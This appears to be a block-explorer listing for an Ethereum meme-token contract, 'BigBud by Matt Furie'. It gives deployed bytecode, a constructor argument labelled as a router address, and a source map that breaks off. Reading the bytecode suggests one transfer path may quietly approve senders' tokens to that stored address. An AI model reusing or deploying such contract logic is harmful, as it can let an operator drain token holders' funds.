9a4070cdf01bbe64736f6c634300081300330000000000000000000000006061a4d5f93c62e9ce3fdbcd2fdea6af93f3ed1a

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b657806395d89b411161006f57806395d89b4114610383578063a9059cbb146103b2578063c876d0b9146103d2578063dd62ed3e146103ec578063ea4b8ea514610432578063f42938901461044757600080fd5b8063715018a6146102eb5780637d1db4a5146103005780637e09549014610316578063802f3caf1461032b5780638da5cb5b146103455780638f9a55c01461036d57600080fd5b8063313ce56711610108578063313ce5671461022857806351bc3c851461024457806356cd40e71461025b57806366a27b5814610270578063708f2c5a1461028557806370a08231146102b557600080fd5b806306fdde0314610150578063095ea7b31461019f5780630faee56f146101cf57806318160ddd146101f357806323b872dd1461020857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526014815273426967427564206279204d61747420467572696560601b60208201525b604051610196919061189e565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004611901565b61045c565b6040519015158152602001610196565b3480156101db57600080fd5b506101e560125481565b604051908152602001610196565b3480156101ff57600080fd5b506101e5610473565b34801561021457600080fd5b506101bf61022336600461192d565b610494565b34801561023457600080fd5b5060405160128152602001610196565b34801561025057600080fd5b506102596104fd565b005b34801561026757600080fd5b50610259610550565b34801561027c57600080fd5b50610259610622565b34801561029157600080fd5b506101bf6102a036600461196e565b60056020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e56102d036600461196e565b6001600160a01b031660009081526001602052604090205490565b3480156102f757600080fd5b506102596109fc565b34801561030c57600080fd5b506101e560105481565b34801561032257600080fd5b50610259610a70565b34801561033757600080fd5b506013546101bf9060ff1681565b34801561035157600080fd5b506000546040516001600160a01b039091168152602001610196565b34801561037957600080fd5b506101e560115481565b34801561038f57600080fd5b50604080518082019091526006815265109251d0955160d21b6020820152610189565b3480156103be57600080fd5b506101bf6103cd366004611901565b610ab3565b3480156103de57600080fd5b506006546101bf9060ff1681565b3480156103f857600080fd5b506101e561040736600461198b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b50610259610ac0565b34801561045357600080fd5b50610259610b4c565b6000610469338484610b80565b5060015b92915050565b60006104816012600a611abe565b61048f906305f5e100611acd565b905090565b60006104a1848484610ca4565b6104f384336104ee85604051806060016040528060288152602001611c6f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611473565b610b80565b5060019392505050565b6007546001600160a01b0316336001600160a01b03161461051d57600080fd5b30600090815260016020526040902054801561053c5761053c816114ad565b47801561054c5761054c8161164a565b5050565b6000546001600160a01b031633146105835760405162461bcd60e51b815260040161057a90611ae4565b60405180910390fd5b61058f6012600a611abe565b61059d906305f5e100611acd565b6010556105ac6012600a611abe565b6105ba906305f5e100611acd565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f46012600a611abe565b610602906305f5e100611acd565b60405190815260200160405180910390a16013805460ff19166001179055565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161057a90611ae4565b601454600160a01b900460ff16156106a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057a565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556106ff9030906001600160a01b03610100909104166106f16012600a611abe565b6104ee906305f5e100611acd565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190611b19565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190611b19565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610849573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086d9190611b19565b601480546001600160a01b039283166001600160a01b031990911681179091556000908152600560205260409020805460ff1916600117905560135461010090041663f305d71947306108d5816001600160a01b031660009081526001602052604090205490565b6000806108ea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610952573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109779190611b36565b505060145460135460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611b64565b50565b6000546001600160a01b03163314610a265760405162461bcd60e51b815260040161057a90611ae4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161057a90611ae4565b6014805462ff00ff60a01b19166201000160a01b179055565b6000610469338484610ca4565b6000546001600160a01b03163314610ad757600080fd5b60004711610b205760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161057a565b60405133904780156108fc02916000818181858888f193505050501580156109f9573d6000803e3d6000fd5b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161057a90611ae4565b476109f98161164a565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057a565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057a565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057a565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057a565b601454600160a01b900460ff16610e61576001600160a01b03831660009081526003602052604090205460ff1680610e1c57506001600160a01b03821660009081526003602052604090205460ff165b610e615760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161057a565b601454600090600160b01b900460ff161580610e865750601454600160a81b900460ff165b15610f2d576001600160a01b038416600090815260016020526040902054610eae9083611684565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610edd90836116cd565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c9783398151915290610f1f9086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526005602052604081205460ff16158015610f6f57506001600160a01b03841660009081526005602052604090205460ff16155b9050610f836000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fb257506000546001600160a01b03858116911614155b156112ee57610fe36064610fdd600c54600f5411610fd257600854610fd6565b600a545b869061172c565b906117ae565b60065490925060ff16156110d0576013546001600160a01b03858116610100909204161480159061102257506014546001600160a01b03858116911614155b156110d0573260009081526004602052604090205443116110bd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161057a565b3260009081526004602052604090204390555b6014546001600160a01b03868116911614801561110057506013546001600160a01b038581166101009092041614155b801561112557506001600160a01b03841660009081526003602052604090205460ff16155b1561120d5760105483111561117c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161057a565b6011548361119f866001600160a01b031660009081526001602052604090205490565b6111a99190611b86565b11156111f75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057a565b600f805490600061120783611b99565b91905055505b6014546001600160a01b03858116911614801561123357506001600160a01b0385163014155b156112605761125d6064610fdd600d54600f541161125357600954610fd6565b600b54869061172c565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561129757506014546001600160a01b038681169116145b80156112ac5750601454600160b01b900460ff165b80156112bb5750600e54600f54115b156112ec5780156112e3576112e36112de856112d9846012546117f0565b6117f0565b6114ad565b6112ec4761164a565b505b60018115801561131757506001600160a01b03851660009081526005602052604090205460ff16155b15611352576001600160a01b03861660009081526003602052604090205460ff1661134c57611347868686611805565b61134f565b60005b90505b82156113ba573060009081526001602052604090205461137290846116cd565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611c97833981519152906113b19087815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113dd9085611684565b6001600160a01b0387166000908152600160205260409020556114226114038585611684565b6001600160a01b038716600090815260016020526040902054906116cd565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611c9783398151915261145a8787611684565b60405190815260200160405180910390a3505050505050565b600081848411156114975760405162461bcd60e51b815260040161057a919061189e565b5060006114a48486611bb2565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114f5576114f5611bc5565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611b19565b8160018151811061159f5761159f611bc5565b6001600160a01b0392831660209182029290920101526013546115ca91309161010090041684610b80565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611607908590600090869030904290600401611bdb565b600060405180830381600087803b15801561162157600080fd5b505af1158015611635573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561054c573d6000803e3d6000fd5b60006116c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611473565b9392505050565b6000806116da8385611b86565b9050838110156116c65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057a565b60008260000361173e5750600061046d565b600061174a8385611acd565b9050826117578583611c4c565b146116c65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057a565b60006116c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611870565b60008183116117ff57826116c6565b50919050565b60065460009061182b90859061010090046001600160a01b03166106f16012600a611abe565b826001600160a01b0316846001600160a01b0316600080516020611c978339815191528460405161185e91815260200190565b60405180910390a35060019392505050565b600081836118915760405162461bcd60e51b815260040161057a919061189e565b5060006114a48486611c4c565b600060208083528351808285015260005b818110156118cb578581018301518582016040015282016118af565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109f957600080fd5b6000806040838503121561191457600080fd5b823561191f816118ec565b946020939093013593505050565b60008060006060848603121561194257600080fd5b833561194d816118ec565b9250602084013561195d816118ec565b929592945050506040919091013590565b60006020828403121561198057600080fd5b81356116c6816118ec565b6000806040838503121561199e57600080fd5b82356119a9816118ec565b915060208301356119b9816118ec565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a155781600019048211156119fb576119fb6119c4565b80851615611a0857918102915b93841c93908002906119df565b509250929050565b600082611a2c5750600161046d565b81611a395750600061046d565b8160018114611a4f5760028114611a5957611a75565b600191505061046d565b60ff841115611a6a57611a6a6119c4565b50506001821b61046d565b5060208310610133831016604e8410600b8410161715611a98575081810a61046d565b611aa283836119da565b8060001904821115611ab657611ab66119c4565b029392505050565b60006116c660ff841683611a1d565b808202811582820484141761046d5761046d6119c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2b57600080fd5b81516116c6816118ec565b600080600060608486031215611b4b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7657600080fd5b815180151581146116c657600080fd5b8082018082111561046d5761046d6119c4565b600060018201611bab57611bab6119c4565b5060010190565b8181038181111561046d5761046d6119c4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2b5784516001600160a01b031683529383019391830191600101611c06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220048a34a57207f90e5334ef5c824b6fabf879727a9f518868389a4070cdf01bbe64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000006061a4d5f93c62e9ce3fdbcd2fdea6af93f3ed1a

-----Decoded View---------------
Arg [0] : _router (address): 0x6061A4d5f93C62e9Ce3fdBcD2FdeA6AF93f3ED1a

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000006061a4d5f93c62e9ce3fdbcd2fdea6af93f3ed1a


Deployed Bytecode Sourcemap

3880:10573:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6012:83;;;;;;;;;;-1:-1:-1;6082:5:0;;;;;;;;;;;;-1:-1:-1;;;6082:5:0;;;;6012:83;;;;;;;:::i;:::-;;;;;;;;6895:186;;;;;;;;;;-1:-1:-1;6895:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6895:186:0;1023:187:1;5109:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5109:56:0;1215:177:1;6289:95:0;;;;;;;;;;;;;:::i;7089:446::-;;;;;;;;;;-1:-1:-1;7089:446:0;;;;;:::i;:::-;;:::i;6198:83::-;;;;;;;;;;-1:-1:-1;6198:83:0;;4773:2;2000:36:1;;1988:2;1973:18;6198:83:0;1858:184:1;13690:366:0;;;;;;;;;;;;;:::i;:::-;;12348:227;;;;;;;;;;;;;:::i;12800:845::-;;;;;;;;;;;;;:::i;4220:41::-;;;;;;;;;;-1:-1:-1;4220:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6392:119;;;;;;;;;;-1:-1:-1;6392:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6485:18:0;6458:7;6485:18;;;:9;:18;;;;;;;6392:119;2911:148;;;;;;;;;;;;;:::i;4979:57::-;;;;;;;;;;;;;;;;12683:109;;;;;;;;;;;;;:::i;5174:28::-;;;;;;;;;;-1:-1:-1;5174:28:0;;;;;;;;2697:79;;;;;;;;;;-1:-1:-1;2735:7:0;2762:6;2697:79;;-1:-1:-1;;;;;2762:6:0;;;2445:51:1;;2433:2;2418:18;2697:79:0;2299:203:1;5043:59:0;;;;;;;;;;;;;;;;6103:87;;;;;;;;;;-1:-1:-1;6175:7:0;;;;;;;;;;;;-1:-1:-1;;;6175:7:0;;;;6103:87;;6519:192;;;;;;;;;;-1:-1:-1;6519:192:0;;;;;:::i;:::-;;:::i;4270:40::-;;;;;;;;;;-1:-1:-1;4270:40:0;;;;;;;;6719:168;;;;;;;;;;-1:-1:-1;6719:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6852:18:0;;;6825:7;6852:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6719:168;14225:225;;;;;;;;;;;;;:::i;14064:153::-;;;;;;;;;;;;;:::i;6895:186::-;6995:4;7012:39;324:10;7035:7;7044:6;7012:8;:39::i;:::-;-1:-1:-1;7069:4:0;6895:186;;;;;:::o;6289:95::-;6342:7;4831:15;4773:2;4831;:15;:::i;:::-;4817:29;;:11;:29;:::i;:::-;6362:14;;6289:95;:::o;7089:446::-;7221:4;7238:36;7248:6;7256:9;7267:6;7238:9;:36::i;:::-;7285:220;7308:6;324:10;7356:138;7412:6;7356:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7356:19:0;;;;;;:11;:19;;;;;;;;324:10;7356:33;;;;;;;;;;:37;:138::i;:::-;7285:8;:220::i;:::-;-1:-1:-1;7523:4:0;7089:446;;;;;:::o;13690:366::-;13756:10;;-1:-1:-1;;;;;13756:10:0;324;-1:-1:-1;;;;;13740:26:0;;13732:35;;;;;;13819:4;13778:20;6485:18;;;:9;:18;;;;;;13840:16;;13836:79;;13873:30;13890:12;13873:16;:30::i;:::-;13946:21;13982:14;;13978:71;;14013:24;14026:10;14013:12;:24::i;:::-;13721:335;;13690:366::o;12348:227::-;2824:6;;-1:-1:-1;;;;;2824:6:0;324:10;2824:22;2816:67;;;;-1:-1:-1;;;2816:67:0;;;;;;;:::i;:::-;;;;;;;;;4831:15:::1;4773:2;4831;:15;:::i;:::-;4817:29;::::0;:11:::1;:29;:::i;:::-;12402:12;:22:::0;4831:15:::1;4773:2;4831;:15;:::i;:::-;4817:29;::::0;:11:::1;:29;:::i;:::-;12435:14;:24:::0;12470:20:::1;:28:::0;;-1:-1:-1;;12470:28:0::1;::::0;;12514:27:::1;4831:15;4773:2;4831;:15;:::i;:::-;4817:29;::::0;:11:::1;:29;:::i;:::-;12514:27;::::0;1361:25:1;;;1349:2;1334:18;12514:27:0::1;;;;;;;12552:8;:15:::0;;-1:-1:-1;;12552:15:0::1;12563:4;12552:15;::::0;;12348:227::o;12800:845::-;2824:6;;-1:-1:-1;;;;;2824:6:0;324:10;2824:22;2816:67;;;;-1:-1:-1;;;2816:67:0;;;;;;;:::i;:::-;12868:11:::1;::::0;-1:-1:-1;;;12868:11:0;::::1;;;12867:12;12859:48;;;::::0;-1:-1:-1;;;12859:48:0;;5151:2:1;12859:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;12859:48:0::1;4949:347:1::0;12859:48:0::1;12918:15;:134:::0;;-1:-1:-1;;;;;;12918:134:0::1;::::0;::::1;::::0;;;;13063:58:::1;::::0;13080:4:::1;::::0;-1:-1:-1;;;;;12918:134:0::1;13095:15:::0;;::::1;;4831;4773:2;4831;:15;:::i;:::-;4817:29;::::0;:11:::1;:29;:::i;13063:58::-;13166:15;;;;;;;;;-1:-1:-1::0;;;;;13166:15:0::1;-1:-1:-1::0;;;;;13166:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13148:55:0::1;;13226:4;13246:15;;;;;;;;;-1:-1:-1::0;;;;;13246:15:0::1;-1:-1:-1::0;;;;;13246:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13148:131;::::0;-1:-1:-1;;;;;;13148:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;13148:131:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;13148:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13132:13;:147:::0;;-1:-1:-1;;;;;13132:147:0;;::::1;-1:-1:-1::0;;;;;;13132:147:0;;::::1;::::0;::::1;::::0;;;:13:::1;13290:24:::0;;;:9:::1;:24;::::0;;;;:31;;-1:-1:-1;;13290:31:0::1;13132:147:::0;13290:31:::1;::::0;;13332:15:::1;::::0;13132:147:::1;13332:15:::0;::::1;;:31;13371:21;13416:4;13436:24;13416:4:::0;-1:-1:-1;;;;;6485:18:0;6458:7;6485:18;;;:9;:18;;;;;;;6392:119;13436:24:::1;13475:1;13491::::0;13507:7:::1;2735::::0;2762:6;-1:-1:-1;;;;;2762:6:0;;2697:79;13507:7:::1;13332:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13332:223:0;;;-1:-1:-1;;;;;6225:15:1;;;13332:223:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;13529:15:0::1;6439:19:1::0;;;6432:35;6141:19;;13332:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13573:13:0::1;::::0;13604:15:::1;::::0;13566:71:::1;::::0;-1:-1:-1;;;13566:71:0;;-1:-1:-1;;;;;13573:13:0::1;13604:15:::0;;::::1;::::0;::::1;13566:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;13573:13:0;::::1;::::0;-1:-1:-1;13566:29:0::1;::::0;6936:18:1;;13566:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12800:845::o:0;2911:148::-;2824:6;;-1:-1:-1;;;;;2824:6:0;324:10;2824:22;2816:67;;;;-1:-1:-1;;;2816:67:0;;;;;;;:::i;:::-;3018:1:::1;3002:6:::0;;2981:40:::1;::::0;-1:-1:-1;;;;;3002:6:0;;::::1;::::0;2981:40:::1;::::0;3018:1;;2981:40:::1;3049:1;3032:19:::0;;-1:-1:-1;;;;;;3032:19:0::1;::::0;;2911:148::o;12683:109::-;2824:6;;-1:-1:-1;;;;;2824:6:0;324:10;2824:22;2816:67;;;;-1:-1:-1;;;2816:67:0;;;;;;;:::i;:::-;12737:11:::1;:18:::0;;-1:-1:-1;;;;12766:18:0;-1:-1:-1;;;12766:18:0;;;12683:109::o;6519:192::-;6622:4;6639:42;324:10;6663:9;6674:6;6639:9;:42::i;14225:225::-;2735:7;2762:6;-1:-1:-1;;;;;2762:6:0;14287:10;:21;14279:30;;;;;;14352:1;14328:21;:25;14320:60;;;;-1:-1:-1;;;14320:60:0;;7552:2:1;14320:60:0;;;7534:21:1;7591:2;7571:18;;;7564:30;-1:-1:-1;;;7610:18:1;;;7603:52;7672:18;;14320:60:0;7350:346:1;14320:60:0;14391:51;;14399:10;;14420:21;14391:51;;;;;;;;;14420:21;14399:10;14391:51;;;;;;;;;;;;;;;;;;;14064:153;2824:6;;-1:-1:-1;;;;;2824:6:0;324:10;2824:22;2816:67;;;;-1:-1:-1;;;2816:67:0;;;;;;;:::i;:::-;14145:21:::1;14177:32;14145:21:::0;14177:12:::1;:32::i;7543:335::-:0;-1:-1:-1;;;;;7636:19:0;;7628:68;;;;-1:-1:-1;;;7628:68:0;;7903:2:1;7628:68:0;;;7885:21:1;7942:2;7922:18;;;7915:30;7981:34;7961:18;;;7954:62;-1:-1:-1;;;8032:18:1;;;8025:34;8076:19;;7628:68:0;7701:400:1;7628:68:0;-1:-1:-1;;;;;7715:21:0;;7707:68;;;;-1:-1:-1;;;7707:68:0;;8308:2:1;7707:68:0;;;8290:21:1;8347:2;8327:18;;;8320:30;8386:34;8366:18;;;8359:62;-1:-1:-1;;;8437:18:1;;;8430:32;8479:19;;7707:68:0;8106:398:1;7707:68:0;-1:-1:-1;;;;;7786:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7838:32;;1361:25:1;;;7838:32:0;;1334:18:1;7838:32:0;;;;;;;7543:335;;;:::o;7886:3592::-;-1:-1:-1;;;;;7976:18:0;;7968:68;;;;-1:-1:-1;;;7968:68:0;;8711:2:1;7968:68:0;;;8693:21:1;8750:2;8730:18;;;8723:30;8789:34;8769:18;;;8762:62;-1:-1:-1;;;8840:18:1;;;8833:35;8885:19;;7968:68:0;8509:401:1;7968:68:0;-1:-1:-1;;;;;8055:16:0;;8047:64;;;;-1:-1:-1;;;8047:64:0;;9117:2:1;8047:64:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:33;9289:19;;8047:64:0;8915:399:1;8047:64:0;8139:1;8130:6;:10;8122:64;;;;-1:-1:-1;;;8122:64:0;;9521:2:1;8122:64:0;;;9503:21:1;9560:2;9540:18;;;9533:30;9599:34;9579:18;;;9572:62;-1:-1:-1;;;9650:18:1;;;9643:39;9699:19;;8122:64:0;9319:405:1;8122:64:0;8204:11;;-1:-1:-1;;;8204:11:0;;;;8199:179;;-1:-1:-1;;;;;8258:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8286:22:0;;;;;;:18;:22;;;;;;;;8258:50;8232:134;;;;-1:-1:-1;;;8232:134:0;;9931:2:1;8232:134:0;;;9913:21:1;9970:2;9950:18;;;9943:30;-1:-1:-1;;;9989:18:1;;;9982:52;10051:18;;8232:134:0;9729:346:1;8232:134:0;8429:11;;8390:17;;-1:-1:-1;;;8429:11:0;;;;8428:12;;:22;;-1:-1:-1;8444:6:0;;-1:-1:-1;;;8444:6:0;;;;8428:22;8424:223;;;-1:-1:-1;;;;;8485:15:0;;;;;;:9;:15;;;;;;:27;;8505:6;8485:19;:27::i;:::-;-1:-1:-1;;;;;8467:15:0;;;;;;;:9;:15;;;;;;:45;;;;8543:13;;;;;;;:25;;8561:6;8543:17;:25::i;:::-;-1:-1:-1;;;;;8527:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8588:26;;;;;;-1:-1:-1;;;;;;;;;;;8588:26:0;;;8607:6;1361:25:1;;1349:2;1334:18;;1215:177;8588:26:0;;;;;;;;8629:7;7886:3592;;;:::o;8424:223::-;-1:-1:-1;;;;;8678:15:0;;8659;8678;;;:9;:15;;;;;;;;8677:16;:34;;;;-1:-1:-1;;;;;;8698:13:0;;;;;;:9;:13;;;;;;;;8697:14;8677:34;8659:52;;8744:7;2735;2762:6;-1:-1:-1;;;;;2762:6:0;;2697:79;8744:7;-1:-1:-1;;;;;8736:15:0;:4;-1:-1:-1;;;;;8736:15:0;;;:32;;;;-1:-1:-1;2735:7:0;2762:6;-1:-1:-1;;;;;8755:13:0;;;2762:6;;8755:13;;8736:32;8732:2157;;;8797:208;9001:3;8797:181;8861:15;;8849:9;;:27;8848:111;;8945:14;;8848:111;;;8905:12;;8848:111;8797:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9026:20;;8785:220;;-1:-1:-1;9026:20:0;;9022:522;;;9107:15;;-1:-1:-1;;;;;9093:30:0;;;9107:15;;;;;9093:30;;;;:83;;-1:-1:-1;9162:13:0;;-1:-1:-1;;;;;9148:28:0;;;9162:13;;9148:28;;9093:83;9067:462;;;9282:9;9253:39;;;;:28;:39;;;;;;9295:12;-1:-1:-1;9219:213:0;;;;-1:-1:-1;;;9219:213:0;;10282:2:1;9219:213:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:34;10340:18;;;10333:62;10431:34;10411:18;;;10404:62;-1:-1:-1;;;10482:19:1;;;10475:40;10532:19;;9219:213:0;10080:477:1;9219:213:0;9484:9;9455:39;;;;:28;:39;;;;;9497:12;9455:54;;9067:462;9590:13;;-1:-1:-1;;;;;9582:21:0;;;9590:13;;9582:21;:72;;;;-1:-1:-1;9638:15:0;;-1:-1:-1;;;;;9624:30:0;;;9638:15;;;;;9624:30;;9582:72;:116;;;;-1:-1:-1;;;;;;9676:22:0;;;;;;:18;:22;;;;;;;;9675:23;9582:116;9560:438;;;9751:12;;9741:6;:22;;9733:60;;;;-1:-1:-1;;;9733:60:0;;10764:2:1;9733:60:0;;;10746:21:1;10803:2;10783:18;;;10776:30;10842:27;10822:18;;;10815:55;10887:18;;9733:60:0;10562:349:1;9733:60:0;9868:14;;9858:6;9842:13;9852:2;-1:-1:-1;;;;;6485:18:0;6458:7;6485:18;;;:9;:18;;;;;;;6392:119;9842:13;:22;;;;:::i;:::-;:40;;9812:140;;;;-1:-1:-1;;;9812:140:0;;11248:2:1;9812:140:0;;;11230:21:1;11287:2;11267:18;;;11260:30;11326:28;11306:18;;;11299:56;11372:18;;9812:140:0;11046:350:1;9812:140:0;9971:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9560:438;10024:13;;-1:-1:-1;;;;;10018:19:0;;;10024:13;;10018:19;:44;;;;-1:-1:-1;;;;;;10041:21:0;;10057:4;10041:21;;10018:44;10014:332;;;10095:235;10326:3;10095:204;10167:16;;10155:9;;:28;10154:122;;10261:15;;10154:122;;;10216:13;;10095:6;;:32;:204::i;:235::-;10083:247;;10014:332;10411:4;10362:28;6485:18;;;:9;:18;;;;;;10455:6;;-1:-1:-1;;;10455:6:0;;;;10454:7;:47;;;;-1:-1:-1;10488:13:0;;-1:-1:-1;;;;;10482:19:0;;;10488:13;;10482:19;10454:47;:79;;;;-1:-1:-1;10522:11:0;;-1:-1:-1;;;10522:11:0;;;;10454:79;:130;;;;;10566:18;;10554:9;;:30;10454:130;10432:446;;;10623:24;;10619:190;;10672:117;10715:51;10719:6;10727:38;10731:20;10753:11;;10727:3;:38::i;:::-;10715:3;:51::i;:::-;10672:16;:117::i;:::-;10827:35;10840:21;10827:12;:35::i;:::-;8770:2119;8732:2157;10914:4;10933:11;;:29;;;;-1:-1:-1;;;;;;10949:13:0;;;;;;:9;:13;;;;;;;;10948:14;10933:29;10929:178;;;-1:-1:-1;;;;;10989:24:0;;;;;;:18;:24;;;;;;;;:106;;